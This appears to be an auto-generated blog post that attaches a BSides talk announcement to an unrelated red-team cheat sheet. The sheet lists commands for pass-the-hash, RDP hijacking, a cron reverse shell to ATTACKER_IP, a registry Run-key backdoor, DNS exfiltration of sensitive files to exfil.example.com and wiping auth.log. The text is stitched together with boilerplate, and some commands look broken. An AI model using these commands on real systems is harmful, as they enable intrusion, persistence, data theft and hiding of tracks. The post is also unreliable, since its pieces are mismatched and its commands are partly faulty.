Hacking Things: A Deep Dive into Red Team Techniques

Friendly reminder that I will be speaking at BSides Nashville tomorrow at 9:00AM about checks notes HACKING THINGS.

You Should Know: Essential Red Team Commands and Techniques

Red teaming involves simulating real-world attacks to test an organization’s defenses. Below are key techniques, commands, and tools used by red teams.

Reconnaissance & Enumeration

• Nmap Scan (Network Discovery)

  nmap -sV -A target.com
  

• Subdomain Enumeration with Sublist3r

  sublist3r -d example.com -o subdomains.txt
  

Privilege Escalation (Linux/Windows)

• Linux (Check SUID Binaries)

  find / -perm -4000 -type f 2>/dev/null
  

• Windows (PowerShell Enumeration)

  whoami /priv
  Get-LocalUser | ft Name,Enabled,LastLogon
  

Lateral Movement

• Pass-the-Hash Attack

  crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH --local-auth
  

• RDP Session Hijacking (Windows)

  qwinsta  List sessions
  tscon SESSION_ID /dest:rdp-tcp0
  

Persistence Techniques

• Linux (Cron Job Backdoor)

  echo "     /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" >> /tmp/cronjob
  crontab /tmp/cronjob
  

• Windows (Registry Backdoor)

  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"
  

Exfiltration & Covering Tracks

• Data Exfiltration via DNS

  for file in $(ls /sensitive_data/); do dig +short $(base64 -w 255 $file).exfil.example.com; done
  

• Clearing Logs (Linux)

  echo "" > /var/log/auth.log
  

What Undercode Say

Red teaming is not just about exploitation; it’s about understanding defenses, bypassing detection, and improving security. Always operate under legal authorization (get written permission).

Expected Output:

• Successful privilege escalation via misconfigured SUID binaries.
• Lateral movement using stolen credentials.
• Persistence through cron jobs or registry modifications.
• Clean exfiltration without triggering alerts.

Prediction

As red teaming evolves, AI-driven attack simulations and automated adversarial emulation will become standard, forcing defenders to adopt more dynamic detection mechanisms.

(Note: No direct cyber-related URLs were found in the original post.)

References:

Reported By: Grahamhelton Friendly – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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